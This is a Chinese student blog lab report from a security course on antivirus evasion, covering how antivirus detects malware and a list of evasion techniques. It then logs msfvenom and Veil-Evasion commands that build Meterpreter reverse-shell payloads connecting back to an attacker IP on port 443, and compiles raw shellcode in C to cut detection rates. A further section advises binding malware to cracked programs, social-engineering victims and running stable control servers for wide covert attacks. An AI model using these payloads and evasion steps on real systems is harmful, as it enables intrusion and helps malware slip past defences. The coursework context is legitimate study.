9223刘霄

  博客园 :: 首页 :: 博问 :: 闪存 :: 新随笔 :: 联系 :: 订阅 订阅 :: 管理 ::

基础问题回答

1.杀软是如何检测出恶意代码的?

(1)基于特征码的检测

学习信息安全概论的时候,我们知道一段特征码就是一串数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV(不是那个av^^)要做的就是尽量搜集最全的、最新的特征码库。

(2)启发式恶意软件检测

其主要特点是根据片面特征去推断,感觉有点像墨菲法则,就是如果你认为他是坏人,那就是了……是不是太一刀切了,所以嘛,他是概率性的。

(3)基于行为的恶意软件检测

这属于启发式的一种,或是行为监控的启发式。  

2.免杀是做什么?

免杀就是指恶意程序通过伪装或漏洞,逃过杀软的查杀。

3.免杀的基本方法有哪些?

(1)改变特征码:

加壳或加伪装壳,让杀毒软件无法进行反汇编、逆向工程,进而无法分析代码
用encode进行编码,重组
用其他语言进行重写再编译 
  
(2)改变行为

  • 改变通讯方式

尽量使用反弹式连接
使用隧道技术
加密通讯数据

  • 改变操作模式

基于内存操作
减少对系统的修改
  
(3)非常规方法

使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件。

2.实践总结与体会

这次实验主要是实现免杀,尤其是自己利用shellcode编写了一个恶意代码,将其植入目标主机,杀毒软件几乎发现不了, 可见我们不能一味地依赖杀软。再有就是感觉要实现免杀有很多种方法,加壳的方法也很多,包括可以利用密码学的知识, 给恶意代码加密,这样杀软就有很大可能检测不出来,还有很多方法值得去实践。

3.离实战还缺些什么技术或步骤?

  • 若说要真正实现实战,单单有恶意程序是不够的,即使躲过了杀毒软件,但要想要让更多人的人去下载你的程序,就需要在社会工程学上多下心思了。

  • 另外服务器也需要我们去搭建,这样覆盖范才能广泛,并保证控制端的监听状态稳定。

  • 面对杀软,要做到与时俱进,实时更新程序,杀软的病毒库是在不断的扩充当中,只有你的更新速度超过杀软的扩充速度,才能真正实现大范围的隐蔽的攻击。

  • 可以通过在用户迫切需要使用的正常程序上绑定恶意程序。例如破解程序等。

4.实践过程记录

(1)msfvenom直接生成meterpreter可执行文件

windows ip:192.168.39.131
kali ip:192.168.39.144
根据攻击机的IP用msfvenom直接生成meterpreter可执行文件

将其复制到Windows桌面,一开始防火墙会自动隔离,打开防火墙允许该文件,将文件传至网站:www.virscan.org进行检测,检测结果如下:

通过上面的实验可以看出现在编码的方式没有免杀的功能,还是要变换方式进行免杀的改造

(2)用Veil-Evasion生成可执行文件

kali原本没有veil-evasion ,所以需要先安装

我们直接从 github 上进行 clone 下载:

git clone https://www.github.com/Veil-Framework/Veil-Evasion.git

之后步骤详见:https://zhuanlan.zhihu.com/p/22960588?refer=xh-coding

在以上一系列繁杂的安装过程后下面我们就可以来正常使用 Veil-Evasion 啦!我们进入到Veil-Evasion目录下,执行如下命令:

python Veil-Evasion.py

按照menu提示进行相关操作:

menu下依次输入语言、ip、文件名及端口号等

注意:由于自己的电脑没法生成文件,此处换了另一个IP,不影响最终结果。

use c/meterpreter/rev_tcp_service.py
set LHOST 192.168.119.18
set LPORT 443
generate
lx

将生成的文件复制到主机,上传网站:www.virscan.org进行检测

15%的杀毒软件报告发现病毒。

(3)使用c语言调用shellcode

使用命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.39.144 LPORT=443 -f c

把生成的代码从虚拟机中复制出来,加入到word中省略部分中,用Microsoft Visual Studio 2012或者Visual C++ 6.0进行编译运行生成可执行文件。

检测结果如下:

7%的杀毒软件报告发现病毒。

5.遇到的问题与解决过程

use c/meterpreter/rev_tcp_service.py
set LHOST 192.168.39.144
generate
9223
1

之后就显示如下界面,没法生成文件

之后根据提示执行update.py,问题还是没有得到解决,相反51 playloads loaded变成了0 playloads loaded。从网上搜也没有相关的解决办法。

所以我就换了一台电脑做,然后就成功生成文件了。

posted on 2018-05-27 23:34  20179223刘霄  阅读(124)  评论(0编辑  收藏  举报